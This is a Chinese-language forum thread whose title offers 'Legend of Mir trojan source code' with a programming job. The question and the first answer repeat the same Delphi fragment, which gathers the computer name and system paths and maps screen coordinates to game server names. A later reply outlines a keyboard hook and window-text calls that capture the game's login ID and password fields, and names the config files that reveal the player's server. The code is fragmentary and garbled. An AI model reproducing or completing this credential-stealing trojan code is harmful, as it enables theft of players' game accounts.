5000人民币招程序员，送：传奇木马原代码

Question

etMem(pcComputer,dwCSize);
 try
  if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
 finally
  FreeMem(pcComputer);
 end;
end;function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;function GetWSP:String;
var Buf:array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;function GetServerName(Logo:String;Y:integer):String;
begin
if (Logo='传 奇 一 区') or (Logo='传奇九区(一区转档)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='疾风(北京)' else
 if (y>309) and (y<351) then result:='新浪(北京)' else
 if (y>351) and (y<393) then result:='流云(广州)' else
 if (y>393) and (y<435) then result:='联通(南京)' else
 if (y>435) and (y<477) then result:='蜀山(成都)' else result:='未知';
end
else
if (Logo='传 奇 二 区') or (Logo='传奇十区(二区转档)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='雷霆二(上海)' else
 if (y>309) and (y<351) then result:='渝州(重庆)' else
 if (y>351) and (y<393) then result:='峨嵋(成都)' else
 if (y>393) and (y<435) then result:='海鼎(新浪)' else
 if (y>435) and (y<477) then result:='网通(上海)' else result:='未知';
end
else
if (Logo='传 奇 三 区') or (Logo='传奇八区(三区转档)') or (Logo='英雄之门(三区转档)') then begin
 if (y>141) and (y<183) then result:='飞鸿(广东)' else
 if (y>183) and (y<225) then result:='新月(流云)' else
 if (y>225) and (y<267) then result:='雄狮(新浪)' else
 if (y>267) and (y<309) then result:='天府(成都)' else
 if (y>309) and (y<351) then result:='天堂(杭州)' else
 if (y>351) and (y<393) then result:='雷霆二(上海)' else
 if (y>393) and (y<435) then result:='光芒二(上海)' else
 if (y>435) and (y<477) then result:='烈焰二(上海)' else result:='未知';
end
else
if (Logo='天空·传奇(四区)') or (Logo='王者大陆(四区转档)') then begin
 if (y>141) and (y<183) then result:='归谷(上海)' else
 if (y>183) and (y<225) then result:='天涯(上海)' else
 if (y>225) and (y<267) then result:='清风(上海)' else
 if (y>267) and (y<309) then result:='落霞(上海)' else
 if (y>309) and (y<351) then result:='归谷二(上海)' else
 if (y>351) and (y<393) then result:='天涯二(上海)' else
 if (y>393) and (y<435) then result:='清风二(上海)' else
 if (y>435) and (y<477) then result:='落霞二(上海)' else result:='未知';

Answer 1

etMem(pcComputer,dwCSize);
 try
  if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
 finally
  FreeMem(pcComputer);
 end;
end;function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;function GetWSP:String;
var Buf:array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;function GetServerName(Logo:String;Y:integer):String;
begin
if (Logo='传 奇 一 区') or (Logo='传奇九区(一区转档)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='疾风(北京)' else
 if (y>309) and (y<351) then result:='新浪(北京)' else
 if (y>351) and (y<393) then result:='流云(广州)' else
 if (y>393) and (y<435) then result:='联通(南京)' else
 if (y>435) and (y<477) then result:='蜀山(成都)' else result:='未知';
end
else
if (Logo='传 奇 二 区') or (Logo='传奇十区(二区转档)') then begin
 if (y>141) and (y<183) then result:='雷霆(上海)' else
 if (y>183) and (y<225) then result:='光芒(上海)' else
 if (y>225) and (y<267) then result:='烈焰(上海)' else
 if (y>267) and (y<309) then result:='雷霆二(上海)' else
 if (y>309) and (y<351) then result:='渝州(重庆)' else
 if (y>351) and (y<393) then result:='峨嵋(成都)' else
 if (y>393) and (y<435) then result:='海鼎(新浪)' else
 if (y>435) and (y<477) then result:='网通(上海)' else result:='未知';
end
else
if (Logo='传 奇 三 区') or (Logo='传奇八区(三区转档)') or (Logo='英雄之门(三区转档)') then begin
 if (y>141) and (y<183) then result:='飞鸿(广东)' else
 if (y>183) and (y<225) then result:='新月(流云)' else
 if (y>225) and (y<267) then result:='雄狮(新浪)' else
 if (y>267) and (y<309) then result:='天府(成都)' else
 if (y>309) and (y<351) then result:='天堂(杭州)' else
 if (y>351) and (y<393) then result:='雷霆二(上海)' else
 if (y>393) and (y<435) then result:='光芒二(上海)' else
 if (y>435) and (y<477) then result:='烈焰二(上海)' else result:='未知';
end
else
if (Logo='天空·传奇(四区)') or (Logo='王者大陆(四区转档)') then begin
 if (y>141) and (y<183) then result:='归谷(上海)' else
 if (y>183) and (y<225) then result:='天涯(上海)' else
 if (y>225) and (y<267) then result:='清风(上海)' else
 if (y>267) and (y<309) then result:='落霞(上海)' else
 if (y>309) and (y<351) then result:='归谷二(上海)' else
 if (y>351) and (y<393) then result:='天涯二(上海)' else
 if (y>393) and (y<435) then result:='清风二(上海)' else
 if (y>435) and (y<477) then result:='落霞二(上海)' else result:='未知';

Answer 2

这里也许有解：
lsq004.myrice.com

Answer 3

谁会外挂啊  有没有Delphi写的啊  原代码啊/

Answer 4

我晕 你的代码那么多不累呀？你登陆传奇在传奇目录下边有个data/名字.雷霆.itm在同目下还有user.ini 里边
[main]
LastGroup=0   1区[main]
LastGroup=1    2区以次类推....再键一个键盘hook 键入
mir2hnd:=getactivewindow();getwindiwtext(mirhnd,@mirname,255);if mirname='legend of mir2' thenbeginhnd:=getfocus()l:=sendmessage(hnd,EM_GETPASSWORDCHAR,0,0);getwindowtext(hnd,@text,255);if l=42 then text:='密码' else text:='id';end.怎么读写服务器itm文件名，和ini的区号我想就不用着么叫你了。自己数数用了多少代码，自己回去试。你的代码别发了，累死了。我是做外挂，最近，研究a3呢，有兴趣聊聊，[email protected]